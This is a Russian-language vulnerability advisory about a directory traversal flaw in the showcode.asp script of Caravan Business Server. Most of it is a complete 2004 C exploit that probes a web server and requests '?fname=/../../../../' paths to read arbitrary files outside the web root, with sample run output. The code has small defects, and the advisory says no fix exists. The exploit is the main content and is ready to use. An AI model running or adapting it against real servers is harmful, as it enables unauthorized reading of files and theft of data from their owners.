Просмотр и записть произвольных файлов в Caravan Business Server

Описание: Уязвимость обнаружена в Caravan Business Server. Удаленный пользователь может просматривать и записывать файлы вне Web каталога.

Уязвимость обнаружена в сценарии showcode.asp.

Пример/Эксплоит:

/* Showcode exploit for Caravan Web server
$dr_insane@pathfinder.gr 2004
$http://members.lycos.co.uk/r34ct/
-------

linux:~ # ./r34ct-wat3rf4ll http://insane  test.asp
Showfile exploit by Dr_insane,2004
Connecting with localhost ...
Connected
Testing: GET /sample_showcode.html
HTTP/1.0 200
OK server localhost has the showcode.asp
Sending exploit...

-------
How this exploit works:
-----------------------
Firstly, it will try to connect on the host you specify on port 80.
If everything is Ok it will look for the file sample_showcode and
if the file exists it will try to exploit it.
duhh i forgot..If you want to change the server port look for the "sin.sin_port"
in the code.
-----------------------*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int own;
int greek(char *host) {
     struct sockaddr_in sin;
     struct hostent *hp;
     hp = gethostbyname(host);
     if (hp==NULL) {
         fprintf(stderr,"Cannot find: %s\n\n",host);
         return 0; }
     memset((char*) &sin,0, sizeof(sin));
     memcpy((char *) &sin.sin_addr,hp->h_addr,hp->h_length);
     sin.sin_family = hp->h_addrtype;
     sin.sin_port = htons(80);
     own = socket(AF_INET, SOCK_STREAM, 0);
     if((connect(own,(struct sockaddr *) &sin, sizeof(sin))) < 0) {
         fprintf(stderr,"Cannot connect with %s.\n",host);
         return 0;}
     return 1;
 
void main(int argc, char *argv[]){
     char total[16384];
     char *ok=NULL;
     char *buffer;
     char *ins;
     char *test="GET /sample_showcode.html";
     char *path="?fname=/../../../../../../../../";
     char *http=" HTTP/1.0\n\n";
     int i;
     fprintf(stderr,"\nShowfile exploit by Dr_insane,2004\n");
     if (argc <= 2) {
         printf("Usage: %s <Server> <file>\n", argv[0]);
         exit(1);
     }
     for(i=1;i<argc-1;i++) {
        fprintf(stderr,"Connecting with %s ...",argv[i]);
         if(greek(argv[i])) {
             fprintf(stderr,"Connected.\n");
             strcpy(total,test);
             strcat(total,http);
             fprintf(stderr,"Testing: %s",total);
             send(own,total, sizeof(total),0);
             ins=(char *)malloc(1024);
             read(own,ins, 1024);
             ok=strstr(ins,"200");
             if(ok!=NULL) {

                 fprintf(stderr,"OK, server %s has the showcode.asp\n",argv[i]);
                 memset(total,0,sizeof(total));
                 strcpy(total,test);
                 strcat(total,path);
                 strcat(total,argv[argc-1]);
                 strcat(total,http);
                 fprintf(stderr,"Sending %s",total);
                 greek(argv[i]);
                 send(own,total,sizeof(total),0);
                 printf("\n*** Server: %s ***\n",argv[i]);
                 buffer=(char *)malloc(40000);
                 while(read(own,buffer,1)>0)
                     printf("%s",buffer);
             }
             else {
                 fprintf(stderr,"server %s hasn't showcode.asp...\n",argv[i]);
             }
             printf("\n");
             free(buffer);
             free(ins);
             close(own);
         }
     }

URL производителя: http://www.nititelecom.com/caravan/start.asp

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.